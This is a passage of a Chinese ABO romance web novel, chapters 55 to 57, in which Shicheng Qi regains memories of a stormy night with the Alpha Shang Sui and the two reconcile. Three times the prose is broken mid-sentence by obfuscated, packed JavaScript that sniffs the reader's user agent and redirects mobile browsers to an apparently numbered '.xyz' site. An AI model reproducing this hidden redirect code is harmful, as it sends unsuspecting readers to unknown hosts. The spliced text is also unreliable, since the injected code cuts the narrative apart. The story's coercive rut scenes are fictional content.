天气变化比预想中还快,时绮从车站下来,远处传来一道沉闷的雷鸣,暴雨近在咫尺。 他加快脚步,一路步入繁花盛开的小径。 明明是下午,天色却阴沉如同夜晚。 时绮看见少年时的自己轻车熟路穿过无尽夏花海,在雨水落下时翻上窗台。 和往日不同,商随并没在窗台画画。 Alpha坐在床上,似乎因为这场突如其来的暴雨心情沉闷,安静注视窗外的景色。 这副画面令时绮感到一阵心悸,就像看见一株美丽却灰败的植物。 一看见他,商随的眼睛眨了一下,眼珠慢慢转动,仿佛枯木逢春,原本毫无波澜的神情逐渐变得生动。 商随下了床,一步步向他靠近。 自从在千灯节坦白,时绮知道他是来度假的大少爷,房子里的看守都是家里安排的保镖。时绮找他不用再躲躲藏藏,可以从正门光明正大进来。 但翻窗一个多月已经成了习惯,加上偶尔他忽然出现,商随会露出惊讶的表情,时绮觉得好玩儿,从没走过正门。 “你在等我吗?”意识到商随一直看向窗外,很可能是在等自己,“你怎么不给我发消息?” 不等商随回答,时绮说:“但我今天没法过夜,我家里人提前回来——” 突如其来的狂风从高处席卷而下,原本牢固的画架颤颤巍巍,在一声不堪重负的断裂声后直直砸向时绮! 关键时刻,商随先一步替他挡住画架,另一只手将时绮拉入室内。 沉重的胡桃木画架被重重一推,从二楼摔了下去,在花园中砸出一声闷响。 时绮下意识回头看。 “不用管。” 商随说了第一句话。 时绮这才注意到他眼尾泛着红晕,神情迷离,似乎不太清醒。 “你的手……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524488|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才推开画架,商随的手臂被划出一道鲜血淋漓的伤口,皮肉外翻,却像没事人一样从旁取过干净的浴巾。 柔软的棉质物带着干燥的草木香,时绮被包裹其中,他顺势甩了甩脑袋,想把头上湿漉漉的雨水甩下去。 这个孩子气的小动作令商随的目光停顿。他仿佛感觉不到疼痛,轻柔而细致地替时绮擦头发。 时绮担心他的伤口,情不自禁看向他受伤的手臂,很快嗅到血液中甜蜜的信息素气味。 商随说他近期可能分化,才能闻到信息素,Beta对信息素不敏感,他要么分化成Alpha、要么分化成Omega。 往日淡淡的蜂蜜味变得馥郁香甜,整座房间好似浸泡在蜜罐里,无形的压迫感令人不知不觉放缓呼吸。 这样高浓度的信息素,显然不是一道伤口能造成的。 时绮终于察觉到异样:“你在易感期吗?” 商随没有回答,而是停下动作。时绮对上他沉沉的视线,心头倏忽一跳。 Alpha伸出双臂,隔着浴巾拥抱他: “我以为你不会来。” 他的易感期一向不规律,五月初才熬过一次,本以为再怎么也要等到下半年,这一次却仿佛受刺激般提前来临。 在失去意识前,手机被扔进不知道哪个犄角旮旯。 不让他在易感期联系时绮,大概已经是清醒状态下能做到的极限。 空气中漂浮着雷雨来临前特有的味道,即使神志不清,闷热潮湿的天气也令商随条件反射心生厌烦。 猜测时绮今天大概率不会出现,他百无聊赖望向窗台,想象那里坐着猫一样的少年,正抬眸和他对视。 他兀自沉浸在幻想中,直到天色暗下,窗外忽然传来熟悉的动静。 “因为今天要下雷雨,你特意来看我吗?” 不知道是因为耳畔略显沙哑的声音、还是落在颈侧的呼吸,时绮的身体微微颤抖,不成调子地答应一声。 “好贴心,”和平日略显冷淡的模样不同,商随脸上带着笑,声音分外柔和,“你对我真好。” 像没发现他的紧张,商随反而贴上来,轻轻嗅他的味道。 没有讨厌的雨水,也没有信息素,而是干净的、独属于时绮的气息。 齿尖蠢蠢欲动,迫不及待想在上面啃咬,留下自己的记号。 时绮茫然地看向他。 商随要干什么? Alpha低下头,凑近他光洁的脖颈—— 时绮下意识往后退,商随却收拢手臂,先前替他拂去雨水的双臂在这一刻仿若囚笼。 强大的压迫感令人无法动弹,面前的Alpha终于撕下温柔的伪装,暴露出阴暗偏执的内里。 商随是想咬他的脖子吗? 但是他都没分化,腺体里没有信息素,咬了也没用啊。 冰凉的发丝摩擦过脖颈,一阵剧痛倏忽传来。 想着姜宥宁易感期抱着他痛哭流涕,商随现在大概也很难受,时绮闷哼一声。 如果换一个人,他一定会毫不犹豫推开对方,再狠狠踹一脚。 一想到是商随…… 时绮的手指紧握成拳,心说咬就咬吧,忍一忍就好。 可他很快意识到不对。 商随根本没碰到他,后颈处的疼痛却愈演愈烈。 灼烧般的痛苦令时绮的大脑空白片秒,连破门而入的动静都变得模糊不清,保镖急匆匆的声音仿佛隔着一层毛玻璃: “您还好吗?我们看见画架掉下去了!” Alpha仿佛被入侵领地的兽类,先前面对时绮万分柔和的神情骤然转变。 商随低低啊了一声:“好吵。” 他的信息素再也不受控制,铺天盖地砸向冲进来的保镖! 往日他进入易感期不会刻意压制信息素,这次却像为等待什么,最大限度隐藏起将自己的异常。 毫无防备之下,最年轻的保镖双膝发颤,猛地跪在地上。 Alpha能压制其他性别,为避免受信息素影响,虞晚派来的保镖都是Beta,照理说来,他们能感觉到的信息素微乎其微,却依旧被压得抬不起头。 商随嫌他们碍事,冷声命令:“滚出去!” 几名保镖不受控制,仿佛牵线木偶一般机械后退。 年轻保镖头一次直面他失控的场景,眼里不由得流露出恐惧。 被精神操控的感受令人遍体生寒,因为被打扰,商随操控他们格外粗暴,大脑像是生生刻下凌驾于个人意志之上的指令。 怎么会有这样不合常理的存在? 简直就是怪物。 被他拥抱的人却在这时颤抖着抓住他的手腕,声音模糊地说:“商随,我好痛……” 原本处于失控状态的Alpha神情一滞,闻言低下头。 诡异的控制力毫无预兆消散,肢体重新获得活动的权利。最有经验的保镖队长抓紧机会,立即冲了过来。 上楼前他为以防万一随手带上麻醉剂,没想到竟是能派上用场。 他眼疾手快将麻醉剂扎进商随的后颈,本以为会被攻击、甚至做好受伤的准备,商随却从头到尾一动不动。 他迟来地意识到,商随的注意力全在怀里的少年身上。 “你怎么了,哪里痛……?” 迅速起效的麻醉剂令商随头晕目眩,他来不及问清楚。 昏迷前看见的最后一个画面,是时绮用手捂住后颈,面容因疼痛而微微扭曲。 见商随陷入昏迷,保镖看向面色愕然的时绮。 他们完全听从商随指令,除了一点:不能让任何人察觉到商随的异样。 即使是这个和商随关系特殊的小朋友。 “抱歉,请您尽快离开。” “他怎么了?”时绮额头冒出冷汗,还是执着道,“你们为什么这样做?是因为他易感期吗?” 伴随年龄增长,商随的易感期逐渐趋于稳定,今天却一反常态爆发,甚至表现出强烈的攻击性。 一旦商随失控,后果不堪设想。 特易期和精神操控都是秘密,趁时绮一知半解,保镖避重就轻重复:“您留在这里会继续刺激他,请您尽快离开。” 窗外雷雨大作,保镖边说边为时绮联系司机。 见时绮一直捂着脖子,浴巾上沾有血迹,他皱起眉:“您受伤了?需要送您去医院吗?” 腺体传来一阵又一阵难耐的疼痛,仿佛被千万只蚂蚁啃咬,时绮强打起精神:“不、不用,送我回家就好。” “不是我的血,是他的。”时绮离开前提醒,“你们记得给他的手臂上药。” 在场其他人忙着处理商随的情况,简单的麻醉剂只能在短时间起作用,如果商随再次醒来,不知会作何反应。 他们必须通知虞晚,尽快联系医生和更多安保人员。 保镖忙不过来,只能答应:“好的,如果有什么问题,请您一定和我们联系。” Alpha的易感期大多持续三到四天,过几天再来找商随吧。 而且他自己也不太对劲…… 时绮捂着疼痛的后颈,跟随司机上车。 对方一路将他送到家门口,确定别墅里有人接应才离开。 几乎是时绮刚抬手敲门,时安便猛地拉开门。 一见到他,时安诧异又激动地说:“你去哪儿了?时绮!” “你的电话一直打不通,姜礼和姜宥宁都出门找你,我急得都快报警了!” 时绮这才意识到,自己刚才在混乱中不小心弄丢了手机。 时安见到他面色不对,连忙把他拉进屋子,捧着他的脸观察:“你的脸好红,怎么回事?” “我……” 时绮张了张口,腺体处传来一阵前所未有的剧痛。 他眼前一黑,彻底陷入昏迷。 56.回溯 “小绮、小绮……时绮!” 有人在耳畔不断重复他的名字,关切的声音由远及近,将他从梦境骤然拉回现实。 时绮眼皮颤动,在晨曦中对上时安的脸。 “你做噩梦了?”时安轻轻握住他的手臂,“我看你皱着眉,一直在喊疼。” 梦境中的疼痛格外真切,即使醒来,腺体似乎还残留灼烧般的感受。 时绮闭了闭眼,又慢慢睁开,一团浆糊似的大脑逐渐变得清明: “六年前在祁江的最后一天,是雷雨天吗?” “你想起来了?”时安惊讶地说,“是!你当时不知道去了哪儿,回来直接晕过去,把我吓坏了!” “你那晚开始分化,这才查出患有腺体退化症……这个病太过罕见,不仅发病前查不出端倪、祁江这边也治不好,只能连夜回首都。” 腺体退化症是罕见的原发性疾病。国内的患病率低于十万分之一,其中能痊愈者少之又少。 患者在分化前不会表现出任何异常,分化时却会出现各种并发症,最常见的表现为高烧和失忆。 时安没想到时隔六年他会恢复记忆,连忙问:“你那天遇见了什么,和你分化有关吗?” 大多数患者无法顺利分化,误以为自己是对信息素不敏感的Beta,直到年龄增长、免疫系统毫无预兆崩塌,临死前才知道自己本该成为Alpha或Omega。 医生判断时绮的信息素水平远低于正常值,原本很可能和大部分患者一样无法分化。 是因为接触过高匹配度的Alpha,他才奇迹般完成分化。 就时安所知,当年时绮身边高匹配度的Alpha只有傅思越一个。 时安因此对傅思越充满感激,却也有些疑惑。 时绮和傅思越在祁江只见过一面,他们的匹配度虽然超出平均值,却并未达到仅凭一面便能促使时绮分化的程度。 可除了傅思越,他们找不出其他能帮助时绮顺利分化的因素。 整件事情太过复杂,三言两语解释不清楚,时绮暂时道:“我只想起来一部分。” 时安见状,脸上流露出自责的神色:“都怪我,我当时只顾着跟你爸爸到处玩儿,没有照顾好你。” “您想什么呢。”时绮打断他,“这个病是我生来就有的,只是恰好在那段时间发作,和您没关系。” 见时安不说话,时绮故意说:“您要是一天到晚盯着我,度假都跟坐牢似的。” “……”知道他是在安慰自己,时安最后朝他笑笑,“实在想不起来就算了,过去这么长时间,不用勉强。” 本以为时绮会顺势答应一声,时安却迟迟没等到回答。 许久之后,他才听见时绮低低的声音: “但是……我已经忘记他很久了。” 什么? 时安还想追问,时绮却拿起手机下了楼。 梦境中的画面不断从脑海闪过,时绮犹豫片刻,给商随发消息: 17:[你在哪?我想见你。] 在等待回复时,有人从后面拍他的肩膀:“小绮!” 姜宥宁穿着睡衣拖鞋、头发简单扎在脑后,看样子也才刚睡醒不久。 她的神情却格外兴奋,像发现什么不得了的事情,一把抓住他:“我想起来一件事!” “我之前不是说,我看商随不爽吗?那种莫名其妙、只看照片就合不来的感觉。” 这件事姜宥宁提过好几次,时绮点点头:“因为你们撞赛道了?”都是美术生和Alpha。 “……不是啦不是啦!我六年前在祁江见过他!” 见时绮表情微变,姜宥宁道:“你当时也在!但你可能不记得,漪山山顶有一片湖泊,那天傍晚我们从湖边往回走,路上遇见过一个Alpha。” “那小子眼神阴沉沉的,一直盯着你看。”姜宥宁回忆道,“我当时很不爽,瞪了回去,他也恰好看了我一眼。” 那是她长这么大,第一次被另一个Alpha的气势压制。 尽管他们从头到尾没说一句话,只是远远对视,姜宥宁却感觉浑身寒毛倒竖,即使多年后记不清商随的样貌,也在看见照片时本能地心有余悸。 姜宥宁开玩笑道:“你不会那时候就和他认识吧?不然他为什么一副我抢他老婆的表情。” “如果真是这样,我也稍微能理解——” 她说着说着,见时绮一言不发,心里咯噔一下。 姐弟俩沉默地对视,姜宥宁尖叫道:“时绮!!!” 时绮被她吓了一跳:“干嘛!” “难怪你经常跑出去,风雨无阻的!我以为你是去找傅思越,还帮你瞒着爸爸们,你为什么从来不提这件事?!” 姜宥宁越说越激动,用看童养媳的眼神看向他:“你好像还在他家里留宿过,你才多大!你那时候就和他……?!” “没有,”时绮否认,“我们当时只是朋友。” 他在回忆里和商随并没有太过暧昧的接触,加上年纪小,他们的关系更像亲密的朋友。 不等姜宥宁松口气,她捕捉到关键点:“等等,你恢复记忆了?” “想起来一部分。” 整件事太过不可思议,姜宥宁在脑中整理一遍。 也就是说,时绮少年时认识过一个Alpha,他们曾经关系非常好、时绮却把对方忘了? 那商随这么多年都是怎么过的? 如果黎昭忘了她,她肯定会疯的。 姜宥宁不由自主同情商随片刻,很快想到另一件事:“你和商随的匹配度很高,在分化之前,你一直和他接触,这么说来,帮助你顺利分化的根本不是傅思越,而是商随!我们这么多年都谢错人了!” 年少时第一次心动、彼此吸引着相互靠近、甚至无意中缓解了时绮生来就有的病症…… 明明是夏日童话一样的故事,为什么会这样匆匆结尾? 姜宥宁几乎有些替他们遗憾:“你忘了他,他为什么不主动来找你呢?” 时绮的手机在这时响起,商随回复道: Ss:[睡醒了?] Ss:[上午要去漪山找沈千俞,我们下午见?] 17:[好。] “不是他的问题。”时绮对姜宥宁说,“我们之前可能有一些误会,我想当面和他说清楚。” - “先前说过,短时间内你会迎来两次易感期。” 商随显然对这事还有印象,原本无所事事打量阳台上盛放的紫藤花,在沈千俞开口后抬起头。 “上一次是跨年,下一次不确定,可能就在这个月内。” “以防万一,我把你需要的东西带了过来。” 沈千俞以目示意桌上漆黑的方盒,想到里面装的麻醉颈圈和一些特意加上的道具,难免觉得后半部分设计略显冗余:“其实你只需要用颈圈就好,多出来的那部分……” “我知道,多出来的是猫玩具。” 沈千俞稍微反应了一下,才意识到他口中的“猫”是指谁。 把这种东西当做玩具? 沈千俞真心实意道:“时绮会觉得你变态吧。” “是吗?”商随撑着脸,懒洋洋地说,“我觉得小绮会很喜欢哦。” 沈千俞安静片刻,决定随他去。 在易感期用麻醉颈圈替代锁链,对商随来说会轻松许多,相比之下,一点伤风败俗的小爱好实在不算什么。 “很早以前,我就建议过你不需要使用锁链,但你没有同意。” 商随一直使用特质的合金锁链度过易感期。沉重的材质能将他困在一定空间内,到易感期结束,脚踝通常青紫一片,有时候甚至皮开肉绽、鲜血淋漓。 近些年商随的易感期十分稳定,基本与普通Alpha无异。 沈千俞向他建议过许多次,都被商随敷衍过去,后来沈千俞察觉到,商随同样明白自己能控制好自己,坚持用锁链更像心理问题。 沈千俞问:“为什么突然改变主意?” 商随没有立即接话,就在沈千俞以为他不会回答的时候,商随轻声说:“以前一直觉得做错了事,必须把自己锁起来。现在发现,好像没我想象中那么严重。” “是因为时绮吗?” “不是。” 商随否认得很快,沈千俞本想说他在欲盖弥彰,商随却道:“用锁链是我自己的选择,不能把责任推到别人身上。” 沈千俞夸赞:“真是难得,你也有像话的一天。” 商随没有接茬,低头看手机。 回完消息以后,他若有所思:“说起来,小绮最近有些奇怪,总是黏着我,看我的眼神也很难形容……” 如果一定要说,就像看见了几个月前的自己。 当他和时绮重逢,逐渐变得熟悉,失而复得的喜悦与害怕失去的恐惧萦绕心头,令他恨不得天天和时绮黏在一起。 “你说,他会不会想起来一些事?” 沈千俞表面不动声色,心里却暗暗惊讶。 时绮服药接近一周,很可能回忆起一部分过去,但商随在完全不知情的状况下竟然准确无误猜中真相…… 这人的心眼大概全用在时绮身上,敏锐得可怕。 为保护病人隐私,沈千俞自然而然道:“有可能,毕竟你们以前是在祁江认识。” “但上一次来祁江,他好像没什么特别的反应,难道最近有什么契机?”商随喃喃道,“居然有我不知道的事。” “你之前说,你做错了事。”Alpha都是控制欲爆棚的生物,沈千俞忽然道,“如果时绮想起来,又一次无法接受呢?” 根据商随的说法,一切似乎都是他的错。 也因如此,沈千俞短暂犹豫过是否帮助时绮恢复记忆,最终还是和盘托出,让时绮自己选择。 “不会的。” 沈千俞略感意外地看了他一眼。 能让商随这种缺乏安全感的性格说出肯定答案,时绮真是厉害。 “不过,你说的情况我也考虑过。”商随半真半假道,“真到那步,我大概率会发疯吧。” 沈千俞客观评价:“你现在也不算正常。” “得到了再失去会把人逼疯,我已经失去过一次,没办法正常地经历第二次。” 一直讨论这个话题令人心情不好,商随话锋一转:“小绮昨天真的很黏人呢,还往我身上放信息素。” 说到这个,商随先前敏感多疑的模样消失不见,整个人仿佛在冒粉红泡泡:“我们宝宝的信息素特别香,好幸福。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544520|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈千俞很有修养地附和:“祝贺你。” 想到他的感情状况,商随难得良心发现,决定把时绮睡醒后就想见他的事情藏在心里,不去刺激沈千俞。 商随心说世界上哪有我这么体贴的兄弟,主动问:“要我帮你做什么吗?” “不用,”沈千俞稍作停顿,低声道,“江砚这辈子大概不想见我了。” 能把一向好脾气的江砚逼到这个地步…… 商随微微挑眉,猜测他俩应该半强迫地发生了关系。 他一时间不知道该替江砚默哀、还是夸沈千俞有种。 “我知道该像你那样循序渐进。”沈千俞揉了揉眉心,“但我做不到。” “不能全怪你,江砚是傻子。要是不逼他一把,他可能以为你跟他闹着玩。” 商随的手机闪了闪,随手划开一看,目光渐渐凝住。 他把自己的手机放到沈千俞面前,消失多日的傻子发来一条消息。 江砚:[你在祁江吗?我想过来玩两天。] “如果我没记错,你前几天在朋友圈发了照片,漪山顶的湖泊,一看就是祁江。” 商随笑了笑,毫不留情揭穿江砚:“我可没跟他提过我在这儿,你说他究竟想见谁?” - 下午艳阳高照,是难得的大晴天。 仿佛知道时绮在等候消息,刚过两点,商随便约他见面。 Ss:[我们在漪山见?] Ss:[从你家坐观光巴士上来,二号线的中间站。] 见时绮从沙发上起身,姜宥宁问:“要去见商随?” 时绮点点头,她调侃道:“这次需不需要我帮你瞒着爸爸们?就像当初一样。” 庭院里传来时安的声音,是在询问大家稍后要不要去古城观光。 时绮也笑了笑,对她说:“我晚上应该不回来。” 按照商随说的,他一路走到二号线的站台前。 开往漪山的巴士是明亮的陶红色,每日运营四个班次。与他们租住的湖畔相比,前往漪山的游人更为稀少,沿途的风景却宛若徐徐展开的画卷。 大多数游客进山都是冲着高踞山巅的彩色湖泊,时绮一个人在中间站下车。 商随像能预测到他的进度,准时发来消息: Ss:[到站了吗?] Ss:[右手边有一条小路,种着黄水仙和风信子,一路往里走。] 时绮照他所言步入繁花盛开的小径,逐渐意识到什么。 道路两旁的景象陌生又熟悉,高低错落、五彩斑斓的花朵如同遗落的记忆碎片,时绮的心跳不受控制加快,好似回到多年前,第一次无意中步入这条小径。 那时他单纯觉得这条路很漂亮,在夏日澄澈的阳光下,仿佛通往仙境。 Ss:[一直走到尽头,岔路口的右手边是橡树林,左手边是无尽夏。] 时绮在岔路口停下脚步。 不用商随说,他也知道该往哪边走。 大片大片的无尽夏映入眼帘,颜色绚烂的花朵层层叠叠绽放,中间木瓦白墙的小洋楼宛若童话世界的缩影。 他看见花丛中放着三个造型各异的稻草人,一个拿着烟,一个打瞌睡,最后一个低头看地。 时绮很快意识到它们代表什么,曾经他一度以为那三名保镖是各有破绽的看守,后面才知道是商随蓄意的安排。 时绮一路向前,沾染香气的熏风扑面而来,他穿过灿若云霞的花间小径,好似一步步从尚未分化的少年变为如今的模样。 和当初相比,他不会被无尽夏遮蔽视线,能够轻易看清二楼的景象。 小洋楼二层是拉通式的阳台,一边有折叠门、另一边有格子窗,在白色的窗台边,站着一个Alpha。 如同被这副画面触及到记忆的开关,碎片化的场景在这一刻涌入脑海中,时绮听见自己少年时的声音: “我昨天回去想了一晚上。” 另一道声音随口问:“您有什么高见?” “等我长大了,我要跟你结婚。” “……” 对方似乎被噎得说不出话来,许久之后才道:“等你长大再说吧。” “今天是8月17日,距我的生日过去整整半年,我都十四岁半了。”他不满地说完,见对方不为所动,忽然想到什么,“你生日多久?” “3月3日。” 听见这个回答,他抓住重点:“你比我大三岁,那你不也没成年吗?” “你都没分化,”对方却道,“等你分化再说。” 意识到这也是个问题,他不禁有些苦恼:“Alpha好像都是和Omega结婚,那我一定要分化成Omega吗?” “没人这么要求。”对方似乎被他逗笑,最后说,“你分化成什么都可以。” …… 那两道对话的声音由近及远、渐渐消失。 时绮从闪回的画面中清醒,意识到刚才那通对话发生时,自己就趴在窗沿下、另一个人则站在室内看他,时绮重新抬起头。 商随冲他招了招手,脸上带着盈盈笑意。 记忆与现实在这一刻重合,一切回溯至六年前的盛夏,宛若姗姗来迟的庆典。 好久不见。 时绮在心里默默说。 57.总有一天 Ss:[楼下没锁门,上来吧^^] 时绮看见消息,点了点头。 商随以为他会从正门进来,自旋转楼梯而上,时绮却把手机放进裤兜里,竟是直接从楼下往上翻。 比起小时候,时绮的个子长高不少,修长笔直的小腿踩上一楼窗台,轻车熟路借着建筑间的着力点翻上二楼。 商随不由得走到阳台边。 时绮的身影短暂消失不见,商随怕他掉下去,低头往下看,背后却传来些微的动静。 在他身后,十根手指扒上阳台边缘,仿佛猫咪的爪子,而后用力一撑。 同六年前一样,时绮轻巧地落在他身边。 眼前的画面与记忆中重合,不同的是,当初没有第二性别的少年分化成Omega,面容褪去稚气,变得更加精致,漂亮得近乎雌雄莫辨。 时绮拍拍手上的灰,望向他问:“你一个人在做什么?” [——你一个人在做什么。] 商随的手指微微蜷缩,不知不觉掐进掌心。 他笑着回答: “我在等你。” 从相遇第一天,我一直在等着你。 换作以前,时绮只会觉得这是一句稀疏平常的对话,现在却听懂商随话里的深意。 他张了张口,正说什么,商随的手机闪了闪。 时绮示意道:“好像有人找你。” 商随看了一眼,是来自江砚的电话。 得知他在祁江后江砚立即宣布自己抵达首都机场,动作快得让商随觉得他早已提前订好机票,现在更是以奇迹般的速度抵达祁江。 “是江砚。”商随对时绮说完,索性开启外放。 “我刚落地,你在哪啊。”江砚的声音自手机另一端传来,开朗中透出一丝忧虑,“我今晚能住你那儿吗?” 商随的“不能”还没出口,江砚先一步问:“沈千俞是不是也在祁江?” 时绮略微挑眉,指指手机,而后竖起拇指。 商随猜测时绮应该想说江砚来得对。 商随顺势道:“是啊,你要去找他吗?” 江砚仿佛找到倾诉口,立即反驳:“找他?我找他干什么?你知道他有多夸张吗,他说他差不多喜欢我五六年。” “那不就是我们认识不久的时候?鬼知道他在想什么,我一直以为我俩是朋友呢。” 江砚越说越激动,不知道究竟高兴还是不高兴:“跟小说似的,我上一个知道被挂念这么久的还是你那个白月光。” 什么? 时绮表情一变,商随也愣在原地。 不等商随反应,时绮一把抢过手机:“什么白月光?” 江砚开心地招呼:“时绮也在啊?你好你好。” 片刻过后,他猛地意识到不对:“啊啊啊啊!!对不起!!!!” 电话那头一阵噼里啪啦的动静,江砚似乎被吓得丢掉手机。 时绮又一次问:“什么白月光。” 江砚恨不得时间倒流,他先前因为嘴上没把,好几次惹时绮不高兴。本以为好不容易拉近关系,一不小心又说错话。 完了完了完了! 而且这件事怎么看跟先前都不是一个量级,要是知道自己男朋友挂念另一个人六年,换谁都会很生气吧! “江砚?” 隔着手机,Omega冷冷淡淡的声音透出一股无法忽视的压迫感。 江砚一个激灵,弱弱地招供:“就是,那什么,商随有一个大家都知道白月光,但这只是调侃的说法,他们很多年前就不联系了,我发誓他对你忠心耿耿啊!” “他和那人认识的时候才十七八岁,还没成年,你说他当时如果遇见你不就没这么多事儿了吗,哈哈!” 时绮轻声问:“他一直记着吗?” “呃、对,但商随那时候不懂事!不能当真的!” 见时绮沉默,江砚越说越绝望:“对不起对不起我不该多嘴!请你千万忘记这件事!” 时绮喜怒难辨:“但我忘不掉。” 他想到什么,补充道:“一会儿给你发地址,你晚上过去就行。” “谢谢你,再见。” 江砚只当他被气疯,要和商随分家。 一想到今晚大概是他和商随两个孤家寡人住一起,两人中必须死一个,江砚哽咽地回应:“……不客气。” 时绮挂掉电话:“沈千俞地址是什么?” 商随的脑子乱作一团,话到嘴边,又不知该从何解释,只能先把沈千俞的地址翻出来。 时绮利落地将地址转发给江砚,手机还给商随转身就走。 “等一下,小绮!” 时绮头也不回从阳台往下翻,商随心里一慌,匆匆跟着他从二楼跳下。时绮两三步走进无尽夏花丛中,眼看就要离开。 商随上前一步,一把抓住他的手腕:“你听我说,不是那样——” 时绮停下脚步,背对他道:“不是什么样?你没有对一个人念念不忘六年、也没有一直放不下过去?” “我确实……”商随倏然意识到不对,“你怎么知道是六年?” 时绮回过头。 远处落日渐渐西沉,流光溢彩的颜色照进他深灰的眼瞳。 “是我吧?”时绮说,“你的那个白月光。” 一通恶作剧后,他如愿以偿看见商随愣在原地。 时绮的唇角抑制不住上扬,既开心、又替他心酸。 时至今日,他终于能听懂商随的未尽之言:“在我们确定关系那天,你说你等了好久,以为自己再也等不到。” “一般人告白的时候不会想到别离,但你说,不要再离开。” 在他忘记一切后,另一个人默默守着他们之间的回忆。 又或者说,商随一直被困在那年夏天里。 “你从十七岁到现在,一直在等我。” 商随沉默许久,声音有些发涩:“你都想起来了?” “陆陆续续想起来一部分,不完整。” 就在时绮以为他会高兴自己想起来的时候,商随却说:“对不起。” “我当初易感期控制不好自己,不小心标记了你,给你造成不小的麻烦。” 标记? 时绮险些以为自己出现幻听。 这些事情在心里压抑太久,商随顾不上观察他的反应,有些恍惚地回忆道:“易感期结束那天,我去找过你。” “你们一家是租住的房子,房东说那晚过后,你们就匆匆忙忙离开,打你的电话联系不上,而且……”商随似乎想说什么,最后只道,“是我的错。” 虞晚后面知道时绮和他关系特殊,提议要不要查一查、想办法再联系,但这样的方式多多少少侵犯了隐私。 他已经做错了事,不能再让时绮困扰,像神经病一样缠着对方。 即使万分希望能够再见,最终也强行按捺下念头。 “等等,”时绮打断他,“你没有标记过我。” “什么……?”商随和他对视片刻,意识到事情或许有偏差,加快语速道,“我易感期的记忆一向断断续续,但我记得我原本是想标记你的。” “我短暂清醒过,看见你捂着脖子,后面问过保镖,他们也说你看起来身体不适。” 时绮终于明白为什么商随从始至终不曾主动联系他。 原来在商随的视角里,自己因为他的易感期受到伤害、被吓到匆匆忙忙离开,自然没有再来打扰的资格。 “我分化了,那天晚上。”时绮直截了当,“匆匆离开不是因为你,而是因为生了病。我在分化那晚失去记忆,忘记在祁江发生过的一切。” 也被迫忘记了你。 他先前总想等一等,在恰到好处的时机将自己的病症告诉商随,真正到这一刻,时绮自然而然道:“一直没说过,我有腺体退化症。” “你是说,你不是因为我才……?”一切太过不可思议,商随喃喃重复,“腺体退化症?” 他从没听过这种病,第一时间追问:“这是什么病?那你还好吗?会不会觉得痛?” “暂时没什么事。” 见商随微微蹙眉,像是放心不下,时绮索性道:“我之前见过沈千俞,他猜出我有腺体退化症,在分化时导致失忆。” “他给我开了药,配合分化时接触到的信息素,能够慢慢恢复记忆。” 现在想来,沈千俞大概早就猜到商随才是导致他分化的原因。 一切兜兜转转回到六年前的夏天,如同命运降落的闭环。 “他说我暂时没什么问题。” 沈千俞说没事,短时间内的确不可能发生意外。 商随稍微放松下来,时绮将话题拉回:“虽然现在的记忆不算完整,但我从没听家里人提起有谁标记过我,回去的时候身上也没有伤口。” 见他说不出话来,时绮主动反扣住他的手,一字一句道:“而且,就算你真的标记我,我也不会和你生气。” “在我这里,你没有犯任何错。” 好不容易将压在心里的话说完,时绮开玩笑补充:“唯一的错误大概是不敢来找我吧,但看在你等待我六年的份上,原谅你了。” “小绮……” 他没想到,商随眼眶渐渐发红,竟是颤抖着叫他的名字。 “对不起,我,”商随混乱至极,断断续续地说,“是我不够勇敢,我该试着联系你,就算被讨厌也…不,你没有讨厌我……我做得不好,你生病了,你没有办法,我该主动一点,不然我们就不用分开六年——” 时绮见他像是太过冲击,干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566447|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开手,在商随无措地望过来时,一把抱住他。 “不是这样。” 时绮坚定地说。 为了安抚他,时绮放出一些信息素,铃兰清新柔和的香味如风一般破开焦躁不安的情绪,将Alpha包裹其中。 商随立即回抱住他,又一次联想到铃兰美丽的花语。 幸福归来。 商随手臂逐渐收紧,用的力气越来越大。仿佛只有这样亲密无间、恨不得揉进血肉里的拥抱,才能确定怀里的人真正属于他。 时绮任由他抱着,继续道:“什么算好,什么算差,没有任何人能替你的人生制定标准,也没人要求你每件事必须做到万无一失、完美无缺,所以做你自己就好。” “如果那时你认为不该来见我,那就不见我。” 夕阳仿佛在时绮晶莹剔透的眼眸中燃烧,无论是话语还是他此刻的神情,都透出一往无前的气势: “总有一天,我们会再相遇。” 商随抱着他,手臂不由自主颤抖,从相依的另一个灵魂里再度获得一贯缺乏的勇气。 过去的经历令他万分痛苦,在遇见时绮之前,不敢真正接受自己的异常。 与大多数人相比,他拥有与众不同的力量,但他知道自己实际是个胆小鬼,时绮远比他更加勇敢。 他一次次在脑海中预想、排练,他该如何坦白,如果知晓过去,时绮会有什么样的表现。 等这一天真正到来,远比他想象中最好的样子还要好—— 